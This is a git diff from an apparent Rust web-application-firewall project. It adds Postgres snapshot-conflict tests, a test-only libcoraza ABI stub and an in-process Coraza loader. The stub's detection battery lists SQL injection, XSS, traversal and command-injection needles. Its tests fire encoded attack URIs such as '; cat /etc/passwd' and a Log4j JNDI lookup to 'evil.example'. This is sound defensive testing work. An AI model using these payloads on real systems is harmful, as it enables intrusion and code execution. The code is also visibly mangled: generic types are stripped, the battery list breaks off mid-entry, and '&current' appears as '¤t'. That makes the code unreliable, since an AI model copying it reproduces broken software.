"/occ-b".into(); + let error = plane_b + .save(&stale) + .await + .expect_err("stale snapshot must conflict"); + assert!( + error.contains("snapshot conflict"), + "operator must see a snapshot conflict: {error}" + ); + let winner = plane_a.load().await.expect("reload").expect("tenant"); + assert_eq!(winner.routes[0].path_prefix, "/occ-a"); + assert!(winner.snapshot_version > loaded_a.snapshot_version); + } + + #[tokio::test] + async fn postgres_event_append_advances_snapshot_version_and_rejects_stale_save() { + let Some(url) = test_database_url() else { + return; + }; + let tenant = unique_tenant("event-occ"); + let plane_a = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("plane a"); + let plane_b = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("plane b"); + plane_a.save(&AppData::seeded()).await.expect("first save"); + let mut current = plane_a.load().await.expect("load").expect("tenant"); + let stale = plane_b + .load() + .await + .expect("stale load") + .expect("stale tenant"); + let event = sample_event(current.next_event_id, "/event-occ"); + let (persisted, appended_version) = plane_a + .append_security_event(&event, 1_000) + .await + .expect("append event"); + current.next_event_id = persisted.id.saturating_add(1); + current.events.push(persisted); + current.snapshot_version = appended_version; + + let reloaded = plane_a.load().await.expect("reload").expect("tenant"); + assert_eq!(reloaded.snapshot_version, appended_version); + + let mut stale_write = stale; + stale_write.routes[0].path_prefix = "/stale-after-event".into(); + let error = plane_b + .save(&stale_write) + .await + .expect_err("stale write after event append must conflict"); + assert!( + error.contains("snapshot conflict"), + "event append must force stale writers to fail closed: {error}" + ); + + current.routes[0].path_prefix = "/after-event".into(); + plane_a.save(¤t).await.expect("save after append"); + let winner = plane_a.load().await.expect("winner").expect("tenant"); + assert_eq!(winner.routes[0].path_prefix, "/after-event"); + assert!(winner.events.iter().any(|item| item.path == "/event-occ")); + } + + #[tokio::test] + async fn postgres_event_append_allocates_unique_ids_across_replicas() { + let Some(url) = test_database_url() else { + return; + }; + let tenant = unique_tenant("event-ids"); + let plane_a = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("plane a"); + let plane_b = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("plane b"); + plane_a.save(&AppData::seeded()).await.expect("seed"); + + let event_a = sample_event(1, "/replica-a"); + let event_b = sample_event(1, "/replica-b"); + let (persisted_a, persisted_b) = tokio::join!( + plane_a.append_security_event(&event_a, 1_000), + plane_b.append_security_event(&event_b, 1_000) + ); + let persisted_a = persisted_a.expect("append a"); + let persisted_b = persisted_b.expect("append b"); + + assert_ne!(persisted_a.0.id, persisted_b.0.id); + let reloaded = plane_a.load().await.expect("reload").expect("tenant"); + assert_eq!(reloaded.next_event_id, 3); + assert!( + reloaded.events.iter().any(|item| item.path == "/replica-a") + && reloaded.events.iter().any(|item| item.path == "/replica-b"), + "both replica events must survive with distinct ids" + ); + } + + #[tokio::test] + async fn postgres_restore_advances_snapshot_version_and_rejects_stale_save() { + let Some(url) = test_database_url() else { + return; + }; + let tenant = unique_tenant("restore-occ"); + let plane_a = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("plane a"); + let plane_b = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("plane b"); + plane_a.save(&AppData::seeded()).await.expect("first save"); + let mut current = plane_a.load().await.expect("load").expect("tenant"); + current.routes[0].path_prefix = "/before-restore".into(); + plane_a.save(¤t).await.expect("update"); + let stale = plane_b + .load() + .await + .expect("stale load") + .expect("stale tenant"); + let backup = plane_a.logical_backup().await.expect("backup"); + + let mut restored = backup.clone(); + restored.snapshot.routes[0].path_prefix = "/after-restore".into(); + let restored = restored.seal().expect("re-seal restored backup"); + plane_a + .restore_logical_backup(&restored) + .await + .expect("restore"); + + let reloaded = plane_a.load().await.expect("reload").expect("tenant"); + assert_eq!(reloaded.routes[0].path_prefix, "/after-restore"); + assert!( + reloaded.snapshot_version > stale.snapshot_version, + "restore must advance snapshot_version beyond stale replicas" + ); + + let mut stale_write = stale; + stale_write.routes[0].path_prefix = "/stale-overwrite".into(); + let error = plane_b + .save(&stale_write) + .await + .expect_err("stale write after restore must conflict"); + assert!( + error.contains("snapshot conflict"), + "restore must force stale writers to fail closed: {error}" + ); + } + + #[tokio::test] + async fn postgres_enqueues_external_effect_and_async_drain_records_receipt() { + let Some(url) = test_database_url() else { + return; + }; + let tenant = unique_tenant("outbox-effect"); + let plane = PostgresPlane::connect_tenant(&url, &tenant) + .await + .expect("test database"); + plane.save(&AppData::seeded()).await.expect("seed"); + let now = unix_now_i64().saturating_add(60); + let _ = plane + .drain_once("setup", now, |_| Ok("setup".into())) + .await + .expect("ack snapshot"); + let payload = serde_json::json!({ + "objects_url": "https://taxii.example/api1/collections/c/objects/", + "feed_id": "taxii-lab", + "path": "/gateway/login", + "client_ip": "198.51.100.20" + }) + .to_string(); + let message_id = plane + .enqueue_effect(crate::outbox::EVENT_TAXII_POLLED, "taxii-lab", payload) + .await + .expect("enqueue taxii poll"); + let processed = plane + .drain_due_async( + "effect-worker", + now.saturating_add(30), + |message| async move { + assert_eq!(message.event_type, crate::outbox::EVENT_TAXII_POLLED); + assert!(message.payload_json.contains("198.51.100.20")); + assert!(message.payload_json.contains("/gateway/login")); + Ok("taxii-ack:unmasked".into()) + }, + ) + .await + .expect("async drain"); + assert_eq!(processed, 1); + let (message, evidence) = plane + .get_outbox_item(&message_id) + .await + .expect("get item") + .expect("enqueued"); + assert_eq!(message.message_status, STATUS_PROCESSED); + assert_eq!(evidence.as_deref(), Some("taxii-ack:unmasked")); + } +} diff --git a/src/coraza_abi_stub.rs b/src/coraza_abi_stub.rs new file mode 100644 index 0000000..f08ffc6 --- /dev/null +++ b/src/coraza_abi_stub.rs @@ -0,0 +1,494 @@ +//! Test-only libcoraza C ABI fixture. +//! +//! Compiled as a cdylib by `build.rs`. It is not a WAF: it implements the +//! current libcoraza export surface so Wardnet can exercise in-process loading +//! without Go at CI build time. Interruptions fire for the documented +//! `crs-probe=1` contract used by the sidecar tests and for the hermetic +//! OWASP CRS attack battery (issue #11) that the live-gateway evidence test +//! fires at the real binary. Detection *quality* against real traffic stays +//! with an operator-supplied libcoraza + Core Rule Set; this fixture only +//! proves Wardnet's load → evaluate → block → record path end to end. + +#![deny(warnings)] + +use std::collections::HashMap; +use std::ffi::{CStr, CString}; +use std::os::raw::{c_char, c_int}; +use std::sync::{Mutex, OnceLock}; + +const CORAZA_ERROR: c_int = -1; +const CORAZA_OK: c_int = 0; +const CORAZA_INTERRUPTION: c_int = 1; + +#[repr(C)] +// Fields are retained even when unread to mirror the external libcoraza ABI. +#[allow(dead_code)] +pub struct CorazaIntervention { + action: *mut c_char, + status: c_int, + pause: c_int, + disruptive: c_int, + data: *mut c_char, + rule_id: c_int, +} + +struct Config { + rules: i32, +} + +struct Waf { + rules: i32, +} + +struct Tx { + uri: String, + headers: String, + body: String, + interrupted: bool, + rule_id: i32, + message: String, +} + +/// One hermetic CRS battery entry: a lowercase substring needle, the OWASP +/// Core Rule Set rule id it stands for, and the canonical CRS message text. +/// First match wins, mirroring CRS phase ordering closely enough for the +/// deterministic evidence test. +struct BatteryEntry { + needle: &'static str, + rule_id: i32, + message: &'static str, +} + +const SQLI_MESSAGE: &str = "SQL Injection Attack Detected via libinjection"; +const XSS_MESSAGE: &str = "XSS Attack Detected via libinjection"; +const TRAVERSAL_MESSAGE: &str = "Path Traversal Attack (/../)"; +const RCE_MESSAGE: &str = "Remote Command Execution: Unix Command Injection"; +const LOG4J_MESSAGE: &str = "Log4j JNDI Remote Code Execution attempt"; + +const BATTERY: &[BatteryEntry] = &[ + BatteryEntry { + needle: "crs-probe=1", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "crs-probe%3d1", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "' or '1'='1", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "%27%20or%20%271%27%3d%271", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "union select", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: "union%20select", + rule_id: 942100, + message: SQLI_MESSAGE, + }, + BatteryEntry { + needle: " bool { + haystack.to_ascii_lowercase().contains(needle) +} + +/// Runs the battery over one phase's accumulated request text. Returns the +/// matched entry so each phase can mark the transaction with the same rule +/// id and message that `coraza_intervention` reports later. +fn battery_match(text: &str) -> Option<&'static BatteryEntry> { + BATTERY.iter().find(|entry| contains_ignore_case(text, entry.needle)) +} + +struct Store { + next: usize, + configs: HashMap, + wafs: HashMap, + txs: HashMap, +} + +fn store() -> &'static Mutex { + static STORE: OnceLock> = OnceLock::new(); + STORE.get_or_init(|| { + Mutex::new(Store { + next: 1, + configs: HashMap::new(), + wafs: HashMap::new(), + txs: HashMap::new(), + }) + }) +} + +fn alloc_id(store: &mut Store) -> usize { + let id = store.next; + store.next += 1; + id +} + +fn c_str<'a>(ptr: *const c_char) -> Result<&'a str, ()> { + if ptr.is_null() { + return Err(()); + } + unsafe { CStr::from_ptr(ptr) }.to_str().map_err(|_| ()) +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_new_waf_config() -> usize { + let mut store = store().lock().expect("stub lock"); + let id = alloc_id(&mut store); + store.configs.insert(id, Config { rules: 0 }); + id +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_rules_add(config: usize, _directives: *const c_char) -> c_int { + let mut store = store().lock().expect("stub lock"); + match store.configs.get_mut(&config) { + Some(item) => { + item.rules += 1; + CORAZA_OK + } + None => CORAZA_ERROR, + } +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_rules_add_file(config: usize, file: *const c_char) -> c_int { + let Ok(path) = c_str(file) else { + return CORAZA_ERROR; + }; + if !std::path::Path::new(path).is_file() { + return CORAZA_ERROR; + } + let mut store = store().lock().expect("stub lock"); + match store.configs.get_mut(&config) { + Some(item) => { + item.rules += 1; + CORAZA_OK + } + None => CORAZA_ERROR, + } +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_free_waf_config(config: usize) -> c_int { + let mut store = store().lock().expect("stub lock"); + store.configs.remove(&config); + CORAZA_OK +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_new_waf(config: usize, er: *mut *mut c_char) -> usize { + if !er.is_null() { + unsafe { + *er = std::ptr::null_mut(); + } + } + let mut store = store().lock().expect("stub lock"); + let Some(cfg) = store.configs.get(&config) else { + if !er.is_null() { + let msg = CString::new("invalid waf config").expect("static error"); + unsafe { + *er = msg.into_raw(); + } + } + return 0; + }; + let rules = cfg.rules; + let id = alloc_id(&mut store); + store.wafs.insert(id, Waf { rules }); + id +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_new_transaction(waf: usize) -> usize { + let mut store = store().lock().expect("stub lock"); + if !store.wafs.contains_key(&waf) { + return 0; + } + let id = alloc_id(&mut store); + store.txs.insert( + id, + Tx { + uri: String::new(), + headers: String::new(), + body: String::new(), + interrupted: false, + rule_id: 0, + message: String::new(), + }, + ); + id +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_process_connection( + _tx: usize, + _source: *const c_char, + _client_port: c_int, + _server_host: *const c_char, + _server_port: c_int, +) -> c_int { + CORAZA_OK +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_process_uri( + tx: usize, + uri: *const c_char, + _method: *const c_char, + _proto: *const c_char, +) -> c_int { + let Ok(uri) = c_str(uri) else { + return CORAZA_ERROR; + }; + let mut store = store().lock().expect("stub lock"); + let Some(tx) = store.txs.get_mut(&tx) else { + return CORAZA_ERROR; + }; + tx.uri = uri.to_string(); + if let Some(entry) = battery_match(uri) { + tx.interrupted = true; + tx.rule_id = entry.rule_id; + tx.message = entry.message.to_string(); + } + CORAZA_OK +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_add_request_header( + tx: usize, + name: *const c_char, + _name_len: c_int, + value: *const c_char, + _value_len: c_int, +) -> c_int { + let (Ok(name), Ok(value)) = (c_str(name), c_str(value)) else { + return CORAZA_ERROR; + }; + let mut store = store().lock().expect("stub lock"); + let Some(tx) = store.txs.get_mut(&tx) else { + return CORAZA_ERROR; + }; + tx.headers.push_str(name); + tx.headers.push(':'); + tx.headers.push_str(value); + tx.headers.push('\n'); + if let Some(entry) = battery_match(&tx.headers) { + tx.interrupted = true; + tx.rule_id = entry.rule_id; + tx.message = entry.message.to_string(); + } + CORAZA_OK +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_process_request_headers(tx: usize) -> c_int { + let store = store().lock().expect("stub lock"); + match store.txs.get(&tx) { + Some(tx) if tx.interrupted => CORAZA_INTERRUPTION, + Some(_) => CORAZA_OK, + None => CORAZA_ERROR, + } +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_append_request_body( + tx: usize, + data: *const u8, + length: c_int, +) -> c_int { + if length < 0 { + return CORAZA_ERROR; + } + let bytes = if data.is_null() || length == 0 { + &[][..] + } else { + unsafe { std::slice::from_raw_parts(data, length as usize) } + }; + let Ok(chunk) = std::str::from_utf8(bytes) else { + return CORAZA_ERROR; + }; + let mut store = store().lock().expect("stub lock"); + let Some(tx) = store.txs.get_mut(&tx) else { + return CORAZA_ERROR; + }; + tx.body.push_str(chunk); + if let Some(entry) = battery_match(&tx.body) { + tx.interrupted = true; + tx.rule_id = entry.rule_id; + tx.message = entry.message.to_string(); + } + CORAZA_OK +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_process_request_body(tx: usize) -> c_int { + let store = store().lock().expect("stub lock"); + match store.txs.get(&tx) { + Some(tx) if tx.interrupted => CORAZA_INTERRUPTION, + Some(_) => CORAZA_OK, + None => CORAZA_ERROR, + } +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_intervention(tx: usize) -> *mut CorazaIntervention { + let store = store().lock().expect("stub lock"); + let Some(tx) = store.txs.get(&tx) else { + return std::ptr::null_mut(); + }; + if !tx.interrupted { + return std::ptr::null_mut(); + } + let action = CString::new("deny").expect("static action"); + let data = CString::new(tx.message.clone()) + .expect("battery messages contain no interior NUL"); + let it = Box::new(CorazaIntervention { + action: action.into_raw(), + status: 403, + pause: 0, + disruptive: 1, + data: data.into_raw(), + rule_id: tx.rule_id, + }); + Box::into_raw(it) +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_free_intervention(it: *mut CorazaIntervention) -> c_int { + if it.is_null() { + return CORAZA_ERROR; + } + unsafe { + let it = Box::from_raw(it); + if !it.action.is_null() { + drop(CString::from_raw(it.action)); + } + if !it.data.is_null() { + drop(CString::from_raw(it.data)); + } + } + CORAZA_OK +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_free_transaction(tx: usize) -> c_int { + let mut store = store().lock().expect("stub lock"); + store.txs.remove(&tx); + CORAZA_OK +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_free_waf(waf: usize) -> c_int { + let mut store = store().lock().expect("stub lock"); + store.wafs.remove(&waf); + CORAZA_OK +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_rules_count(waf: usize) -> c_int { + let store = store().lock().expect("stub lock"); + store + .wafs + .get(&waf) + .map(|waf| waf.rules) + .unwrap_or(0) +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_free_string(s: *mut c_char) { + if s.is_null() { + return; + } + unsafe { + drop(CString::from_raw(s)); + } +} + +#[unsafe(no_mangle)] +pub extern "C" fn coraza_process_logging(_tx: usize) -> c_int { + CORAZA_OK +} diff --git a/src/coraza_audit.rs b/src/coraza_audit.rs index 362460a..7b144fb 100644 --- a/src/coraza_audit.rs +++ b/src/coraza_audit.rs @@ -13,6 +13,9 @@ use crate::suricata_eve::parse_suricata_timestamp; #[derive(Debug, Clone, PartialEq, Eq)] pub struct CorazaIngestedHit { pub client_ip: Option, + /// True only when the engine explicitly interrupted the live transaction. + /// Severity-derived audit classification must not substitute for this bit. + pub interrupted: bool, /// `block` or `monitor` (gateway enforcement vocabulary). pub action: String, pub reason: String, @@ -179,6 +182,7 @@ pub fn coraza_hit_from_value(value: &serde_json::Value) -> Option usize, + rules_add: unsafe extern "C" fn(usize, *const c_char) -> c_int, + rules_add_file: unsafe extern "C" fn(usize, *const c_char) -> c_int, + free_waf_config: unsafe extern "C" fn(usize) -> c_int, + new_waf: unsafe extern "C" fn(usize, *mut *mut c_char) -> usize, + new_transaction: unsafe extern "C" fn(usize) -> usize, + process_connection: + unsafe extern "C" fn(usize, *const c_char, c_int, *const c_char, c_int) -> c_int, + process_uri: unsafe extern "C" fn(usize, *const c_char, *const c_char, *const c_char) -> c_int, + add_request_header: + unsafe extern "C" fn(usize, *const c_char, c_int, *const c_char, c_int) -> c_int, + process_request_headers: unsafe extern "C" fn(usize) -> c_int, + append_request_body: unsafe extern "C" fn(usize, *const u8, c_int) -> c_int, + process_request_body: unsafe extern "C" fn(usize) -> c_int, + intervention: unsafe extern "C" fn(usize) -> *mut CorazaIntervention, + free_intervention: unsafe extern "C" fn(*mut CorazaIntervention) -> c_int, + free_transaction: unsafe extern "C" fn(usize) -> c_int, + free_waf: unsafe extern "C" fn(usize) -> c_int, + rules_count: unsafe extern "C" fn(usize) -> c_int, + free_string: unsafe extern "C" fn(*mut c_char), + process_logging: unsafe extern "C" fn(usize) -> c_int, +} + +/// Loaded libcoraza instance. The library handle outlives every function +/// pointer copied out of it. +pub struct InProcessCoraza { + api: Api, + waf: usize, + rules: i32, + _lib: Library, +} + +impl std::fmt::Debug for InProcessCoraza { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("InProcessCoraza") + .field("rules", &self.rules) + .finish() + } +} + +impl InProcessCoraza { + /// `dlopen` `lib_path` and construct a WAF from a CRS file and/or extra + /// SecLang directives. Empty rulesets are rejected so a missing CRS cannot + /// silently become allow. + pub fn load( + lib_path: &Path, + rules_path: Option<&Path>, + directives: Option<&str>, + ) -> Result { + if !lib_path.exists() { + return Err(format!( + "CORAZA_LIB_PATH {} does not exist", + lib_path.display() + )); + } + if rules_path.is_none() && directives.is_none_or(|text| text.trim().is_empty()) { + return Err( + "CORAZA_LIB_PATH requires CORAZA_RULES_PATH or CORAZA_DIRECTIVES".to_string(), + ); + } + if let Some(path) = rules_path + && !path.is_file() + { + return Err(format!( + "CORAZA_RULES_PATH {} is not a file", + path.display() + )); + } + + // SAFETY: operator-supplied path; we only call documented libcoraza + // exports after looking up symbols by name. + let lib = unsafe { Library::new(lib_path) }.map_err(|error| { + format!( + "failed to load libcoraza from {}: {error}", + lib_path.display() + ) + })?; + let api = load_api(&lib)?; + + // SAFETY: symbols came from this library; config/waf handles are + // opaque libcoraza values used only with those symbols. + let loaded = unsafe { construct_waf(&api, rules_path, directives)? }; + Ok(Self { + api, + waf: loaded.waf, + rules: loaded.rules, + _lib: lib, + }) + } + + /// Number of directive sources loaded into this WAF (file and/or string). + pub fn rules(&self) -> i32 { + self.rules + } + + /// Evaluate one HTTP transaction. Never includes the library path in the + /// outcome reason (that can identify a host layout). + /// + /// `headers` carries a bounded allowlist of forwarded client headers so + /// CRS rules that inspect `User-Agent`, cookies, and friends see the same + /// input a sidecar deployment would. `Authorization` must not be passed. + pub fn evaluate( + &self, + method: &str, + uri: &str, + body: &str, + client_ip: Option, + headers: &[(String, String)], + ) -> ProvenEngineOutcome { + match self.evaluate_inner(method, uri, body, client_ip, headers) { + Ok(outcome) => outcome, + Err(reason) => ProvenEngineOutcome::Unavailable { reason }, + } + } + + fn evaluate_inner( + &self, + method: &str, + uri: &str, + body: &str, + client_ip: Option, + headers: &[(String, String)], + ) -> Result { + let method_c = c_string(method)?; + let uri_c = c_string(uri)?; + let proto = c_string("HTTP/1.1")?; + let source = c_string( + &client_ip + .map(|ip| ip.to_string()) + .unwrap_or_else(|| "0.0.0.0".to_string()), + )?; + let server = c_string("")?; + + // SAFETY: `self.waf` was created by `coraza_new_waf` on this library + // and is freed only in Drop. Transaction handles stay local. + unsafe { + let tx = (self.api.new_transaction)(self.waf); + if tx == 0 { + return Err("coraza in-process failed to open a transaction".to_string()); + } + let tx = TxGuard { api: &self.api, tx }; + if (self.api.process_connection)(tx.tx, source.as_ptr(), 0, server.as_ptr(), 80) + == CORAZA_ERROR + { + return Err("coraza in-process connection phase failed".to_string()); + } + if (self.api.process_uri)(tx.tx, uri_c.as_ptr(), method_c.as_ptr(), proto.as_ptr()) + == CORAZA_ERROR + { + return Err("coraza in-process uri phase failed".to_string()); + } + for (name, value) in headers.iter().take(FORWARDED_HEADER_LIMIT) { + // Interior NULs cannot cross the C ABI; skip such values + // rather than failing the whole transaction. + let (Ok(name_c), Ok(value_c)) = (c_string(name), c_string(value)) else { + continue; + }; + let _ = (self.api.add_request_header)( + tx.tx, + name_c.as_ptr(), + c_len(name.len())?, + value_c.as_ptr(), + c_len(value.len())?, + ); + } + let header_rc = (self.api.process_request_headers)(tx.tx); + if header_rc == CORAZA_ERROR { + return Err("coraza in-process header phase failed".to_string()); + } + if header_rc == CORAZA_INTERRUPTION { + return Ok(hit_from_intervention(&self.api, tx.tx, uri, client_ip)); + } + if !body.is_empty() { + let rc = (self.api.append_request_body)(tx.tx, body.as_ptr(), c_len(body.len())?); + if rc == CORAZA_ERROR { + return Err("coraza in-process body write failed".to_string()); + } + } + let body_rc = (self.api.process_request_body)(tx.tx); + if body_rc == CORAZA_ERROR { + return Err("coraza in-process body phase failed".to_string()); + } + if body_rc == CORAZA_INTERRUPTION { + return Ok(hit_from_intervention(&self.api, tx.tx, uri, client_ip)); + } + Ok(ProvenEngineOutcome::Clean) + } + } +} + +impl Drop for InProcessCoraza { + fn drop(&mut self) { + // SAFETY: `self.waf` is a live libcoraza WAF handle owned by this + // value; the library is still loaded (`_lib` drops after this Drop). + unsafe { + (self.api.free_waf)(self.waf); + } + } +} + +// libcoraza WAF instances are documented as concurrent-safe; function pointers +// copied from the loaded module are immutable. The test stub serializes its +// handle maps with a mutex. +unsafe impl Send for InProcessCoraza {} +unsafe impl Sync for InProcessCoraza {} + +struct LoadedWaf { + waf: usize, + rules: i32, +} + +struct TxGuard<'a> { + api: &'a Api, + tx: usize, +} + +impl Drop for TxGuard<'_> { + fn drop(&mut self) { + unsafe { + (self.api.process_logging)(self.tx); + (self.api.free_transaction)(self.tx); + } + } +} + +fn load_api(lib: &Library) -> Result { + // SAFETY: each lookup is a named libcoraza export; the `Library` outlives + // the copied function pointers because `_lib` is stored on the engine. + unsafe { + Ok(Api { + new_waf_config: symbol(lib, b"coraza_new_waf_config\0")?, + rules_add: symbol(lib, b"coraza_rules_add\0")?, + rules_add_file: symbol(lib, b"coraza_rules_add_file\0")?, + free_waf_config: symbol(lib, b"coraza_free_waf_config\0")?, + new_waf: symbol(lib, b"coraza_new_waf\0")?, + new_transaction: symbol(lib, b"coraza_new_transaction\0")?, + process_connection: symbol(lib, b"coraza_process_connection\0")?, + process_uri: symbol(lib, b"coraza_process_uri\0")?, + add_request_header: symbol(lib, b"coraza_add_request_header\0")?, + process_request_headers: symbol(lib, b"coraza_process_request_headers\0")?, + append_request_body: symbol(lib, b"coraza_append_request_body\0")?, + process_request_body: symbol(lib, b"coraza_process_request_body\0")?, + intervention: symbol(lib, b"coraza_intervention\0")?, + free_intervention: symbol(lib, b"coraza_free_intervention\0")?, + free_transaction: symbol(lib, b"coraza_free_transaction\0")?, + free_waf: symbol(lib, b"coraza_free_waf\0")?, + rules_count: symbol(lib, b"coraza_rules_count\0")?, + free_string: symbol(lib, b"coraza_free_string\0")?, + process_logging: symbol(lib, b"coraza_process_logging\0")?, + }) + } +} + +unsafe fn symbol(lib: &Library, name: &[u8]) -> Result { + let label = std::str::from_utf8(name) + .unwrap_or("symbol") + .trim_end_matches('\0'); + let loaded = unsafe { lib.get::(name) } + .map_err(|error| format!("libcoraza missing symbol {label}: {error}"))?; + Ok(*loaded) +} + +unsafe fn construct_waf( + api: &Api, + rules_path: Option<&Path>, + directives: Option<&str>, +) -> Result { + let config = unsafe { (api.new_waf_config)() }; + if config == 0 { + return Err("libcoraza failed to allocate a WAF config".to_string()); + } + let config = ConfigGuard { api, config }; + if let Some(path) = rules_path { + let path_c = c_string(&path.to_string_lossy())?; + let rc = unsafe { (api.rules_add_file)(config.config, path_c.as_ptr()) }; + if rc == CORAZA_ERROR { + return Err("libcoraza rejected CORAZA_RULES_PATH".to_string()); + } + } + if let Some(text) = directives.filter(|text| !text.trim().is_empty()) { + let text_c = c_string(text)?; + let rc = unsafe { (api.rules_add)(config.config, text_c.as_ptr()) }; + if rc == CORAZA_ERROR { + return Err("libcoraza rejected CORAZA_DIRECTIVES".to_string()); + } + } + let mut err_ptr: *mut c_char = ptr::null_mut(); + let waf = unsafe { (api.new_waf)(config.config, &mut err_ptr) }; + if !err_ptr.is_null() { + let reason = unsafe { take_c_string(api, err_ptr) }; + if waf != 0 { + unsafe { (api.free_waf)(waf) }; + } + return Err(format!("libcoraza failed to build WAF: {reason}")); + } + if waf == 0 { + return Err("libcoraza failed to build WAF".to_string()); + } + let rules = unsafe { (api.rules_count)(waf) }; + if rules <= 0 { + unsafe { + (api.free_waf)(waf); + } + return Err("libcoraza loaded an empty ruleset".to_string()); + } + Ok(LoadedWaf { waf, rules }) +} + +struct ConfigGuard<'a> { + api: &'a Api, + config: usize, +} + +impl Drop for ConfigGuard<'_> { + fn drop(&mut self) { + unsafe { + (self.api.free_waf_config)(self.config); + } + } +} + +unsafe fn hit_from_intervention( + api: &Api, + tx: usize, + uri: &str, + client_ip: Option, +) -> ProvenEngineOutcome { + let ptr = unsafe { (api.intervention)(tx) }; + if ptr.is_null() { + return ProvenEngineOutcome::Hit(CorazaIngestedHit { + client_ip, + interrupted: true, + action: "block".to_string(), + reason: "coraza/crs: transaction interrupted".to_string(), + score: 50, + path: uri.to_string(), + timestamp_unix: None, + }); + } + let it = unsafe { &*ptr }; + let action_raw = unsafe { optional_cstr(it.action) }; + let data = unsafe { optional_cstr(it.data) }; + let action = if action_raw == "deny" + || action_raw == "drop" + || action_raw.is_empty() + || it.disruptive != 0 + { + "block" + } else { + "monitor" + }; + let mut reason = format!("coraza/crs: rule {}", it.rule_id); + if !data.is_empty() { + reason.push_str(": "); + reason.push_str(&data); + } + let score = if action == "block" { 50 } else { 25 }; + unsafe { + (api.free_intervention)(ptr); + } + ProvenEngineOutcome::Hit(CorazaIngestedHit { + client_ip, + interrupted: true, + action: action.to_string(), + reason, + score, + path: uri.to_string(), + timestamp_unix: None, + }) +} + +unsafe fn optional_cstr(ptr: *const c_char) -> String { + if ptr.is_null() { + return String::new(); + } + unsafe { CStr::from_ptr(ptr) } + .to_string_lossy() + .into_owned() +} + +unsafe fn take_c_string(api: &Api, ptr: *mut c_char) -> String { + let text = unsafe { optional_cstr(ptr) }; + unsafe { + (api.free_string)(ptr); + } + text +} + +fn c_string(text: &str) -> Result { + CString::new(text).map_err(|_| "coraza in-process input contained an interior NUL".to_string()) +} + +fn c_len(len: usize) -> Result { + c_int::try_from(len).map_err(|_| "coraza in-process body exceeds C int length".to_string()) +} + +#[cfg(test)] +pub(crate) fn load_stub_engine() -> std::sync::Arc { + let lib = Path::new(env!("WARDNET_CORAZA_ABI_STUB")); + let dir = std::env::temp_dir().join(format!( + "wardnet-coraza-rules-{}-{}", + std::process::id(), + std::time::SystemTime::now() + .duration_since(std::time::UNIX_EPOCH) + .expect("clock after epoch") + .as_nanos() + )); + std::fs::create_dir_all(&dir).expect("create rules dir"); + let rules = dir.join("crs.conf"); + std::fs::write(&rules, "SecRuleEngine On\n").expect("write rules fixture"); + std::sync::Arc::new(InProcessCoraza::load(lib, Some(&rules), None).expect("load stub")) +} + +#[cfg(test)] +mod tests { + use super::*; + + #[test] + fn missing_library_fails_closed() { + let err = InProcessCoraza::load( + Path::new("/no/such/libcoraza.so"), + None, + Some("SecRuleEngine On"), + ) + .unwrap_err(); + assert!( + err.contains("does not exist"), + "missing library must fail before bind: {err}" + ); + } + + #[test] + fn library_without_rules_fails_closed() { + let err = InProcessCoraza::load(Path::new(env!("WARDNET_CORAZA_ABI_STUB")), None, None) + .unwrap_err(); + assert!( + err.contains("CORAZA_RULES_PATH") || err.contains("CORAZA_DIRECTIVES"), + "empty ruleset must not silently allow: {err}" + ); + } + + #[test] + fn stub_engine_blocks_crs_probe_and_allows_clean() { + let engine = load_stub_engine(); + assert!(engine.rules() >= 1); + match engine.evaluate("GET", "/app?crs-probe=1", "", None, &[]) { + ProvenEngineOutcome::Hit(hit) => { + assert_eq!(hit.action, "block"); + assert!(hit.reason.contains("942100"), "{}", hit.reason); + assert_eq!(hit.path, "/app?crs-probe=1"); + } + other => panic!("expected hit, got {other:?}"), + } + assert_eq!( + engine.evaluate("GET", "/app?q=hello", "", None, &[]), + ProvenEngineOutcome::Clean + ); + } + + /// Issue #11: the hermetic battery must cover each OWASP CRS family the + /// live-gateway evidence test fires, including percent-encoded variants, + /// and must attribute overlapping command+traversal payloads to the RCE + /// rule (first-match ordering). + #[test] + fn stub_engine_battery_matches_each_owasp_family() { + let engine = load_stub_engine(); + let cases: &[(&str, i32)] = &[ + ("/app?q=%27%20OR%20%271%27%3D%271", 942100), + ("/app?q=union%20select", 942100), + ("/app?q=%3Cscript%3Ealert(1)%3C/script%3E", 941100), + ("/app?q=..%2F..%2Fetc%2Fpasswd", 930100), + ("/app?file=../../etc/passwd", 930100), + ("/app?cmd=%3B%20cat%20/etc/passwd", 932100), + ("/app?x=%24%7BJNDI%3Aldap%3A//evil.example/a%7D", 944120), + ]; + for (uri, expected_rule) in cases { + match engine.evaluate("GET", uri, "", None, &[]) { + ProvenEngineOutcome::Hit(hit) => { + assert_eq!(hit.action, "block", "{uri}"); + assert!( + hit.reason.contains(&expected_rule.to_string()), + "{uri} must cite rule {expected_rule}: {}", + hit.reason + ); + } + other => panic!("{uri} expected hit, got 